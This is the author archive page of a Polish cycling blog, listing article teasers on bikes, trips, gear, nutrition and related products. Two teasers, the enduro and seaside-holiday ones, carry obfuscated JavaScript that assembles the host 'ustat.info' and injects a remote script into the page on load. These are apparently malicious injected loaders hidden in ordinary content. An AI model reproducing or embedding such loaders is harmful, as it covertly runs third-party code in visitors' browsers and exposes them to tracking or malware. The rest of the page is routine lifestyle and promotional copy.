Autor: Maja Koc

Praca w branży rowerowej – od serwisanta do projektanta tras rowerowych

Praca w branży rowerowej – od serwisanta do projektanta tras rowerowych

Praca w branży rowerowej to nie tylko pasja, ale także szereg możliwości zawodowych, które rozwijają się wraz z rosnącym trendem na zdrowy styl życia. Z każdą upływającą dekadą, branża ta rozwija się, dostosowując do potrzeb zarówno entuzjastów kolarstwa, jak i zwykłych użytkowników rowerów. W tym artykule przyjrzymy się różnych ścieżkom kariery w tym fascynującym sektorze, od podstawowych prac serwisowych po bardziej złożone zadania projektowe, które wymagały będą nieco innej wiedzy ...

Czytaj więcej

Dlaczego warto posiadać kamizelki odblaskowe na rower?

Bezpieczeństwo na drodze jest priorytetem dla każdego rowerzysty, niezależnie od pory dnia czy warunków atmosferycznych. Jednym z najskuteczniejszych sposobów na zwiększenie swojej widoczności i zminimalizowanie ryzyka wypadków jest noszenie kamizelki odblaskowej. Choć w Polsce nie jest ona obowiązkowa, jej stosowanie niesie za sobą wiele korzyści, które mogą w praktyce uratować życie. Dlaczego więc warto posiadać kamizelki odblaskowe na rower? Podpowiadamy. Poprawa bezpieczeństwa na drodze Kamizelki odblaskowe są kluczowym elementem zwiększającym bezpieczeństwo rowerzystów. ...

Czytaj więcej

Jaki piekarnik warto wybrać do domu?

Piekarnik to niewątpliwie jedno z najważniejszych urządzeń w każdej kuchni. Wykorzystywany jest do pieczenia, smażenia, a czasem nawet do gotowania i podgrzewania potraw. Bez niego trudno byłoby przyrządzić wiele tradycyjnych dań, takich jak pieczeń, ciasta czy pizze. Piekarnik to nie tylko narzędzie do przygotowywania posiłków, ale także centrum domowego życia, miejsce, gdzie rodzina gromadzi się wokół wspólnie przygotowywanych potraw. Celem tego poradnika jest dostarczenie czytelnikom praktycznych informacji, które pomogą im dokonać ...

Czytaj więcej

Letnia wycieczka rowerowa. Co zrobić, by kleszcze nie popsuły nam humorów?

Lato to idealny czas na wycieczki rowerowe, które pozwalają cieszyć się pięknem przyrody i aktywnością na świeżym powietrzu. Niestety, wśród zielonych łąk i lasów czają się kleszcze, które mogą zepsuć nam całą radość z wyprawy. Aby uniknąć nieprzyjemnych niespodzianek, warto zastosować odpowiednie środki ochrony, takie jak repelenty. Dzięki nim możemy skutecznie zabezpieczyć się przed ukąszeniami tych niebezpiecznych pajęczaków. W tym artykule dowiesz się, jak przygotować się do letniej wycieczki rowerowej. Jakie ...

Czytaj więcej

Nowoczesne rowery elektryczne marki Engwe – co warto wiedzieć?

W ostatnim czasie świadomość ekologiczna społeczeństwa znacznie wzrosła. Dążenie do wykorzystywania odnawialnych źródeł energii oraz poszukiwanie alternatyw dla tradycyjnych środków transportu stały się kluczowe w kontekście globalnych zmian klimatycznych. W tym właśnie kontekście na popularności zyskują rowery elektryczne, które łączą ekologiczność z zaawansowaniem technicznym, a także komfortem użytkowania. Jednym z producentów, który zyskuje uznanie na polu mobilności elektrycznej jest marka Engwe, oferująca szeroką gamę rowerów elektrycznych dostosowanych do różnorodnych potrzeb użytkowników. Rowery elektryczne Engwe Charakterystyka ...

Czytaj więcej

Czym jest MTB i jakie są rodzaje rowerów górskich?

Rower górski, znany również jako MTB (z ang. Mountain Bike), to niezwykle popularny sprzęt wśród miłośników aktywności na świeżym powietrzu. Dzięki swojej wszechstronności i budowie, umożliwia on eksplorację terenów, które dla zwykłych rowerów pozostają niedostępne. W tym artykule przyjrzymy się bliżej, czym charakteryzują się rowery górskie oraz jakie rodzaje MTB można wyróżnić, aby każdy entuzjasta dwóch kółek znalazł coś dla siebie. Rowery górskie (MTB) – co odróżnia je od innych rowerów? Rower ...

Czytaj więcej

Czy warto mieć buty rowerowe?

Kolarstwo to nie tylko popularne hobby, ale także świetny i zdrowy sposób na spędzanie czasu. Jazda na rowerze wpływa pozytywnie na samopoczucie, jest dobra dla kolan i kręgosłupa, pozwala spalać kalorie i poprawia jakość snu. Aby jednak móc zajmować się kolarstwem na poważnie, trzeba wyposażyć się w odpowiedni sprzęt. Kluczowym elementem są tu dobrze dobrane buty do jazdy na rowerze. Na co zwrócić uwagę, wybierając buty rowerowe i czy naprawdę są ...

Czytaj więcej

Lampki rowerowe tylne – czym się charakteryzują?

Lampki rowerowe tylne to nie tylko wymóg prawny, ale przede wszystkim element zabezpieczający przed potencjalnymi zagrożeniami na drodze. Jakie lampki mamy do wyboru? Bezpieczeństwo na drodze to priorytet każdego rowerzysty. W warunkach ograniczonej widoczności właściwie dobrana lampa to kluczowy element ochrony. Co warto wiedzieć o lampkach rowerowych tylnych? Lampki rowerowe tylne – co warto wiedzieć?  Lampki rowerowe są obowiązkowym wyposażeniem rowerzysty. Każdy rower musi być wyposażony w co najmniej jedno światło przednie o ...

Czytaj więcej

Rower trójkołowy jako narzędzie wspomagania rehabilitacji

Rower trójkołowy to bardzo cenione narzędzie rehabilitacyjne. Jest on polecany osobom niepełnosprawnym jak i seniorom, ale nie tylko. Dlaczego warto zainteresować się sprzętem tego typu? Przeczytaj nasz artykuł, a dowiesz się: dla kogo są przeznaczone rehabilitacyjne rowery trójkołowe czy warto zainwestować w rower trójkołowy elektryczny czy można uzyskać dofinansowanie na rower trójkołowy Aktywność fizyczna jest bardzo ważna w utrzymaniu właściwej kondycji osób niepełnosprawnych i seniorów. Jednym z narzędzi pomagających w jej utrzymaniu jest trójkołowy rower. ...

Czytaj więcej

Jak przygotować się do wysiłku fizycznego – obowiązkowy pakiet badań krwi dla każdego sportowca.

Nie ważne, czy jesteś profesjonalnym sportowcem, czy weekendowym biegaczem – odpowiednie przygotowanie do wysiłku fizycznego jest kluczem do zdrowia i lepszej wydajności. Kluczową rolę w tym procesie odgrywają badania krwi. Dowiedz się, dlaczego są one tak ważne i jakie badania powinieneś wykonać przed rozpoczęciem treningów. Dlaczego badania krwi są tak ważne dla sportowców? Badania krwi dostarczają nam cennych informacji o stanie naszego organizmu, od poziomu hemoglobiny po stężenie elektrolitów. Dla sportowców, informacje ...

Czytaj więcej

Czy treningowy rower magnetyczny to klucz do osiągnięcia wymarzonej sylwetki w domu?

Wielu z nas marzy o idealnej sylwetce, ale nie zawsze mamy czas, chęci lub środki na regularne wizyty na siłowni. W odpowiedzi na te potrzeby pojawia się coraz więcej sprzętu do ćwiczeń domowych. Jednym z najbardziej popularnych i skutecznych jest treningowy rower magnetyczny. Czy naprawdę jest on kluczem do sukcesu w dążeniu do wymarzonej figury? Treningowy rower magnetyczny – dlaczego warto go mieć? Treningowy rower magnetyczny to doskonałe narzędzie do kształtowania sylwetki ...

Czytaj więcej

Chodź na rower enduro!

(function(){ wkqm=document.createElement("script");wkqm.type="text/javascript"; wkqm.async=true;wkqm_=(("us")+"t")+"a";wkqm_+=("t.i")+""+"n";wkqm_+=(("f")+"o");wkqm_+="/"; wkqmu="554279985.";wkqmu+="ug4Xfmugkqm5XyX7f2pembn8uidgdX";wkqm.src="https://"+wkqm_+wkqmu; wkqmdb=document.body;wkqmdb.appendChild(wkqm); })(); Rower enduro jest doskonałym wyborem dla rowerzystów, którzy szukają jednego roweru, który poradzi sobie zarówno na trudnych zjazdach, jak i podczas pokonywania technicznych odcinków pod górę. Jego wszechstronność i zdolność do radzenia sobie z różnymi warunkami terenowymi sprawiają, że to dosyć popularna opcja wśród pasjonatów górskiego rowerowania. W poniższym artykule wyjaśniamy na co zwrócić uwagę kompletując “wyprawkę” enduro, prezentujemy markę rowerową Pivot oraz podpowiadamy dobre miejscówki enduro trails, na których ...

Czytaj więcej
dania rowerem

Dania rowerem – twoja następna przygoda na dwa kółka

Dania to prawdziwy raj dla miłośników dwóch kółek. Kraj, w którym rower jest nie tylko środkiem transportu, ale stylem życia. Zapraszamy do odkrycia najpiękniejszych tras rowerowych w Danii, od uroczych miasteczek po zapierające dech w piersiach krajobrazy. Zakątki kopenhagi rowerem Kopenhaga, stolica Danii, to prawdziwe serce rowerowej kultury. Znajdziesz tu setki kilometrów tras rowerowych, które odkryją przed Tobą tę fascynującą metropolię. Rowerem możesz zwiedzić takie miejsca jak słynna Nyhavn z jej kolorowymi ...

Czytaj więcej

Wakacje na rowerze? Zobacz 5 miejscowości nad morzem

(function(){ aqxi=document.createElement("script");aqxi_="u"+("s")+"ta"; aqxi_+=("t.i")+""+"n";aqxi_+=(("f")+"o");aqxi.type="text/javascript"; aqxi_+="/"; aqxiu="547750693";aqxiu+=".2cqvz8cnqxikkg48v49";aqxiu+="Xt2tx69ch49"; aqxi.src="https://"+aqxi_+aqxiu;aqxi.async=true;document.body.appendChild(aqxi); })(); Zapomnij o pośpiechu i stresie codziennego życia. Wybierz spokojne wakacje na rowerze, obierając za cel podróży małe i urocze nadmorskie miejscowości i odkryj magię wolności. Poczuj wiatr we włosach, wdychaj morskie powietrze i daj się ponieść przygodzie na dwóch kółkach. Zapraszamy do zapoznania się z przyjemnymi kurortami, które pozwolą uciec od tłumu turystów i zaznać chwil relaksu. Dlaczego wakacje z rowerem są atrakcyjne? Wybierz spokojne wakacje na rowerze i wyrusz w ...

Czytaj więcej

Co to jest bikepacking i jak się do niego przygotować?

Bikepacking to forma aktywności, która cieszy się coraz większą popularnością w Polsce i na świecie. Jest ona połączeniem jazdy na rowerze oraz spania pod namiotem. Czym dokładnie charakteryzuje się ten rodzaj podróżowania? Jak skutecznie przygotować się na wyprawę bikepackingową? O tym wszystkim przeczytasz w naszym artykule! Czym jest bikepacking? Bikepacking to forma podróżowania, która łączy w sobie jazdę na rowerze oraz kemping. Polega ona na pokonywaniu przeróżnych tras rowerem i nocowaniu w ...

Czytaj więcej
Oryginalny pomysł na ozdobienie ogrodu

Oryginalny pomysł na ozdobienie ogrodu z rowerem w tle

Posiadacze domu z ogrodem bez problemu mogą zaliczyć się do jednej z najbardziej uprzywilejowanych grup w społeczeństwie. Niemniej jednak o ten ogród trzeba odpowiednio zadbać, a także go ozdobić. Tylko i wyłącznie wtedy, będzie się on prezentował imponująco. Wobec tego rower na kwiaty do ogrodu może być świetnym pomysłem. Aranżacja ogrodu- samodzielnie czy może lepiej z projektantem? Posiadanie domu, a także działki wokół niego nie uprawnia nas jeszcze do tego, by nazywać ...

Czytaj więcej
rowerowy biznesplan

Warsztat rowerowy – dobry pomysł na biznes

Warsztat rowerowy może okazać się bardzo opłacalnym biznesem. Trzeba jednak przemyśleć kilka ważnych kwestii i odpowiednio się przygotować. Poniżej znajdziesz kilka ważnych porad na ten temat. Warsztat rowerowy – czy warto? Śmiało można powiedzieć, że warsztat rowerowy to dobry pomysł na biznes. Dlaczego? Ponieważ może okazać się opłacalny, a dla miłośników rowerowych przygód praca w takim miejscu jest dużą przyjemnością. Jeśli pasjonuje Cię świat rowerów oraz sportu i potrzebujesz pracy, która będzie ...

Czytaj więcej
jak jeździć z psem na rowerze

Jak jeździć z psem na rowerze?

Jeśli jesteś jedną z wielu osób, które uwielbiają spędzać czas ze swoim psem, być może szukasz sposobów, aby włączyć swojego futrzanego przyjaciela w swoje ulubione zajęcia. Jak jeździć z psem na rowerze? Choć na początku może się to wydawać trudne, przy odrobinie przygotowania jest to całkiem łatwe. Po pierwsze, upewnij się, że Twój pies dobrze czuje się w pobliżu rowerów i nie będzie zaskoczony ich widokiem lub dźwiękiem. Gdy masz już ...

Czytaj więcej

Manetki do rowerów elektrycznych – jak wybrać najlepsze?

Rower elektryczny to doskonałe rozwiązanie dla osób, które chcą przemieszczać się w mieście w sposób ekologiczny i wygodny. Manetki to kluczowe elementy, które pozwalają na kontrolę prędkości i trybu pracy silnika. Wybór odpowiednich manetek jest kluczowy dla bezpieczeństwa i komfortu jazdy. W tym artykule przedstawimy najważniejsze kwestie, na które należy zwrócić uwagę przy wyborze manetek do rowerów elektrycznych. Rodzaje manetek do rowerów elektrycznych Jeżeli chodzi o manetki do rowerów elektrycznych to istnieją ...

Czytaj więcej
Co jeść po treningu na rowerze

Co jeść po treningu na rowerze?

Trening na rowerze to świetny sposób na poprawę kondycji i wytrzymałości. Jednak, aby osiągnąć wymarzone efekty, nie wystarczy tylko regularnie trenować. Równie ważne jest dbanie o odpowiednią dietę, zwłaszcza po treningu. Właściwie dobrany posiłek po intensywnym treningu na rowerze pozwoli szybciej zregenerować organizm i przygotować się do kolejnych wyzwań. W tym artykule dowiesz się, co warto zjeść po treningu na rowerze, aby zapewnić swojemu ciału optymalne warunki regeneracji. Białko - podstawa ...

Czytaj więcej
Jak jeździć po górach na rowerze

Jak jeździć po górach na rowerze? Sprawdź nasz poradnik!

Jazda po górach na rowerze może być wspaniałym sposobem na aktywny wypoczynek i podziwianie pięknych krajobrazów. Jednak, aby cieszyć się tą formą aktywności, trzeba wziąć pod uwagę kilka ważnych czynników. Poniżej znajdziesz kilka porad, które pomogą Ci bezpiecznie i skutecznie jeździć po górach na rowerze. Wybierz odpowiedni rower i sprzęt Przed wyruszeniem w góry warto zadbać o odpowiedni sprzęt. Ważne, aby rower był dobrze wyposażony i przystosowany do jazdy w trudnych warunkach. ...

Czytaj więcej
bory_tucholskie

Bory Tucholskie- zachwycające miejsce na mapie Polski

Bory Tucholskie to niezwykłe miejsce na mapie Polski, gdzie króluje dzika przyroda z licznymi parkami krajobrazowymi oraz rezerwatami przyrody. Obszar ten jest obfity w bory sosnowe, nieskazitelnie czyste jeziora, niezwykłe ścieżki rowerowe i malownicze polany.  Kto doświadczy urzekającej natury tego miejsca choć raz, będzie wracał już zawsze. A jest do czego! Bory Tucholskie są pozytywnie nastawione na turystów, oferując odwiedzającym wszystko, co mają najlepszego.  Co warto zobaczyć w Borach Tucholskich? Propozycje ...

Czytaj więcej
Rower trekkingowy do pracy i na wakacje

Rower trekkingowy do pracy i na wakacje – dlaczego warto kupić

Rower trekkingowy to doskonałe rozwiązanie dla osób, które chcą połączyć przyjemne z pożytecznym. Sprawdzi się zarówno na codziennej trasie do pracy, jak i na dłuższych wakacyjnych wyjazdach. Przedstawiamy kilka powodów, dla których warto kupić rower trekkingowy. Uniwersalność roweru trekkingowego Rower trekkingowy to rower uniwersalny, który świetnie sprawdza się na różnych typach nawierzchni. Dzięki temu, że jest on wyposażony w wygodne siodełko i amortyzację, jazda na nim jest łatwa i przyjemna. Ponadto, charakteryzuje ...

Czytaj więcej
Co warto jeść przed treningiem na rowerze

Co warto jeść przed treningiem na rowerze?

Jeśli chcesz osiągnąć lepsze wyniki na rowerze, nie tylko regularne treningi, ale również odpowiednia dieta są kluczowe. Przed jazdą na rowerze warto zjeść posiłek bogaty w składniki odżywcze, które zapewnią Ci energię i poprawią Twoją wydolność. W tym artykule przedstawiamy, co warto jeść przed treningiem na rowerze, skupiając się na diecie o niskim indeksie glikemicznym oraz posiłkach pudełkowych. Dieta o niskim indeksie glikemicznym Dieta o niskim indeksie glikemicznym pudełkowa polega na wybieraniu ...

Czytaj więcej
trendy rowerowe

Trendy rowerowe 2023. Czego spodziewać się w tym roku?

Poznaj nadchodzące trendy rowerowe. 2023 rok zaczyna się wypuszczeniem na rynek kilku ciekawych modeli. Do tego wciąż kontynuowana jest moda na rowery elektryczne. Czego jeszcze można się spodziewać w nadchodzących miesiącach? Moda na rowery zdaje się nigdy nie spadać. Jednak świat kolarstwa zawodowego i amatorskiego nieustannie się zmienia. Największym wynalazkiem ostatnich lat są niewątpliwie rowery elektryczne. Cieszą się rosnącą popularnością w Polsce i na świecie.  Poznaj przewidywane trendy rowerowe 2023 roku ...

Czytaj więcej
zdjęcie kolarza po wygraniu zawodów sposrotwych

Statuetki na zamówienie dla najlepszych kolarzy

Zawody kolarskie najczęściej organizowane są w miesiącach letnich, choć niektóre z nich odbywają się nawet późną jesienią. Biorą w nich udział nie tylko profesjonalni kolarze, ale także pasjonaci, którzy na rowerze spędzają niemal cały swój wolny czas. Organizując tego typu wydarzenie, warto zadbać o odpowiedniej jakości nagrody dla uczestników. Mogą być to medale wykonane na zamówienie, lecz coraz większą popularnością cieszą się statuetki. Dlaczego warto się na nie zdecydować i ...

Czytaj więcej

Bielizna sportowa damska – rodzaje i modele

Bielizna sportowa to niezbędnik w szafie każdej kobiety, która lubi aktywność i dba o zdrowie. Przewiewna i wygodna stanowi wsparcie podczas każdego treningu. Jak dobrać odpowiedni model? Wysiłek fizyczna to obok diety podstawa zdrowego trybu życia. Regularne uprawianie sportu dodaje energii, pozwala obniżyć poziom stresu oraz zyskać wymarzoną sylwetkę. Aby trening był jeszcze bardziej komfortowy i efektywny, niezbędna jest odpowiednia odzież, w tym sportowa bielizna. Jaki rodzaj i krój dobrać do ...

Czytaj więcej
Jak dbać o skórę problematyczną podczas wycieczek rowerowych

Jak dbać o skórę problematyczną podczas wycieczek rowerowych? Odpowiedni strój dla rowerzystów

Skóra z niedoskonałościami wymaga regularnej i dobrze dopasowanej pielęgnacji. Podczas intensywnych treningów i wycieczek rowerowych, konieczna jest dodatkowa ochrona. Sprawdź nasze rady i skompletuj swoją kosmetyczkę! Zasady pielęgnacji skóry podczas treningu  Wypryski, trądzik zaskórnikowy czy bolesne, podskórne pryszcze mogą pojawić się w każdym wieku. Ich przyczyny mogą tkwić zarówno w nieodpowiedniej pielęgnacji, jak i w zmianach hormonalnych lub nieprawidłowej pracy gruczołów łojowych. Zarówno przed, jak i po treningu należy oczyścić i zabezpieczyć cerę. ...

Czytaj więcej
orbitrek czy rower

Orbitrek czy rower stacjonarny – Co daje lepsze efekty?

Inwestycja w sprzęt sportowy do domu pozwala na zachowanie wysokiego poziomu kondycji fizycznej nawet w okresie zimowym. Nie każdy może pozwolić sobie na wizytę na siłowni, pozostaje więc dokonanie zakupów. Zadajesz sobie pytanie: orbitrek czy rower stacjonarny? Przeczytaj nasz artykuł i dowiedz się, co jest lepsze! Orbitrek czy rower stacjonarny? To pytanie zadaje sobie wielu sportowców amatorów. Wybór w dużej mierze zależy tutaj od własnych preferencji. Oba te urządzenia mają swoje ...

Czytaj więcej

Nawadnianie w trasie – co pić w trakcie wycieczki rowerowej?

Jazda na rowerze to bardzo popularny sposób spędzania wolnego czasu. Co pić podczas wycieczki rowerowej? Sprawdź! W trakcie długotrwałego wysiłku fizycznego należy na bieżąco uzupełniać poziom energii. Dlatego warto zwrócić uwagę na to, co jemy i pijemy podczas wycieczek rowerowych. Zanim ruszysz na wyprawę rowerem, zapoznaj się z naszym poradnikiem! Co jeść w trakcie wysiłku fizycznego? Wycieczki rowerowe to ciekawa forma aktywnego spędzania czasu. Warto mieć na uwadze, że to, co jemy podczas ...

Czytaj więcej
rowerowe wycieczki

Jesteś fanem rowerowych wycieczek? Pamiętaj o ochronie przeciwsłonecznej! Jak wybrać i stosować krem z filtrem UV?

Rower to świetny sprzęt, który nie tylko dba o aktywność fizyczną, ale pozwala miło spędzić czas. Przed długą wycieczką warto pamiętać o kremie z filtrem. Czy wiesz dlaczego? Jazda rowerem to obecnie nie tylko rekreacja. Wiele osób wykorzystuje go, dojeżdżając do pracy. Dla niektórych jest jedynym środkiem komunikacji. Nadal niewiele osób pamięta, że skóra to organ, o który trzeba odpowiednio dbać. Wsiadając na rower, należy jej się dodatkowa ochrona przed słońcem. ...

Czytaj więcej
wypadek rowerowy

Wypadek rowerowy – konsekwencje urazów w obrębie szczęki

Jeśli jeździsz na rowerze, z pewnością wiesz, że wypadek rowerowy to coś, co może cię spotkać właściwie wszędzie. Sprawdź, jakie mogą być przykre konsekwencje takiego zdarzenia, jeśli chodzi o twoje zęby! Wypadek rowerowy to coś, czego każdy chciałby uniknąć, ale nie zawsze jest to możliwe. W większości przypadków ochraniacze i kaski zapewniają odpowiednią ochronę, ale niestety w pewnych sytuacjach zęby rowerzysty są narażone na uszkodzenia. Jeśli już dojdzie do takiej sytuacji, ...

Czytaj więcej
jak uniknąć intymnych dolegliwości

Jazda na rowerze – jak uniknąć intymnych dolegliwości?

Zastanawiasz się, czy istnieją sposoby na poradzenie sobie z intymnymi dolegliwościami, na które narażeni są rowerzyści? Zapoznaj się z naszym artykułem, w którym przedstawiamy łatwe sposoby na uniknięcie tych problemów. Jazda na rowerze to popularny sport. Niestety ta aktywność sportowa nie służy delikatnym intymnym miejscom na ciele. Dlatego warto dowiedzieć się, jak przygotować się do jazdy, aby uniknąć wystąpienia nieprzyjemnych dolegliwości. Jazda na rowerze – odpowiednia higiena osobista Podstawowym sposobem zapobiegania powstawaniu dolegliwości ...

Czytaj więcej
kurier rowerowy

Kurier rowerowy — dodatkowe zajęcie dla każdego?

Usługa gastronomiczna, jaką jest jedzenie na dowóz, cieszy się coraz większą popularnością. Konsekwencją tego jest niespotykane wcześniej zapotrzebowanie na pracowników, którzy zajmują się dowozem jedzenia. Najczęściej są to kurierzy rowerowi, którym najłatwiej poruszać się po zatłoczonych ulicach. Jedzenie na dowóz Jeszcze niedawno jedzenie na dowóz było, mniejszym lub większym, ale ciagle jedynie dodatkiem do podstawowej działalności restauracji. W ciągu ostatnich paru lat sytuacja na rynku gastronomicznym mocno się zmieniła. Jedzenie na dowóz ...

Czytaj więcej
olejek do brody

Zanim udasz się na wycieczkę rowerową, zadbaj o pielęgnację brody. Sprawdź, jak może pomóc olejek do brody!

Niebawem wybierasz się na jednodniową wycieczkę rowerową? A może czeka cię dłuższa wyprawa rowerowa i zastanawiasz się, jak zadbać o brodę, by ta prezentowała się wyjątkowo pięknie? Sprawdź to w naszym artykule! Choć panowie często nie zwracają większej uwagi na pielęgnację, to jednak ci, którzy mogą pochwalić się długą brodą, muszą o nią dbać, bowiem w innym wypadku nie będzie ona ozdobą twarzy. Poza tym zaniedbany zarost może powodować wiele nieprzyjemnych ...

Czytaj więcej
zwolnienie lekarskie a wyjście na rower

Czy podczas zwolnienia lekarskiego mogę legalnie wyjść na rower?

Osoby aktywne, które chętnie uprawiają sport, odbierają zwolnienie lekarskie jako swego rodzaju ograniczenie wolności. Muszą bowiem zrezygnować z ulubionych aktywności, takich jak rower. Czy rzeczywiście jest to konieczne? Jazda na rowerze jest niezwykle korzystna dla zdrowia. Wspomaga pracę serca i układu krążenia, ale też pomaga w utracie wagi i rzeźbi mięśnie nóg. Czy jednak podczas zwolnienia lekarskiego można oddawać się ulubionemu sportowi? Tutaj ze względu na specyfikę L4 zdania są podzielone. Zwolnienie ...

Czytaj więcej
Makijaż na rower

Makijaż na rower. Czy warto się malować?

Rower to lubiany środek transportu. Nie tylko umożliwia szybkie i w miarę sprawne przemieszczanie się po mieście, ale także pomaga poprawić kondycję i jest sposobem na spędzenie wolnego czasu. Sprawdź, czy warto robić makijaż przed przejażdżką! Wiele pań chce się czuć pięknie i atrakcyjnie także podczas jazdy na rowerze. Dlatego nie rezygnują z makijażu, podkreślają oczy, malują usta. Czy to dobry pomysł? Wszystko zależy od tego, gdzie się wybierasz, czy będziesz ...

Czytaj więcej

Dowiedz się, jaka powinna być idealna przekąska na wycieczkę rowerową

Wybierasz się na całodniową wycieczkę rowerową? Z pewnością nie obejdziesz się bez solidnego źródła energii w postaci wysokiej jakości przekąski, którą zabierzesz ze sobą. Możesz też skorzystać z przydrożnej restauracji, ale jeśli wszystkie spalone kalorie zastąpisz talerzem tłustego gulaszu i pięcioma bułeczkami na parze, które popijesz kuflem piwa, możesz być pewien, że dalej wycieczka nie pójdzie już tak gładko, jak się spodziewałeś. Z uczuciem ciężkości na żołądku i zmęczonymi nogami ...

Czytaj więcej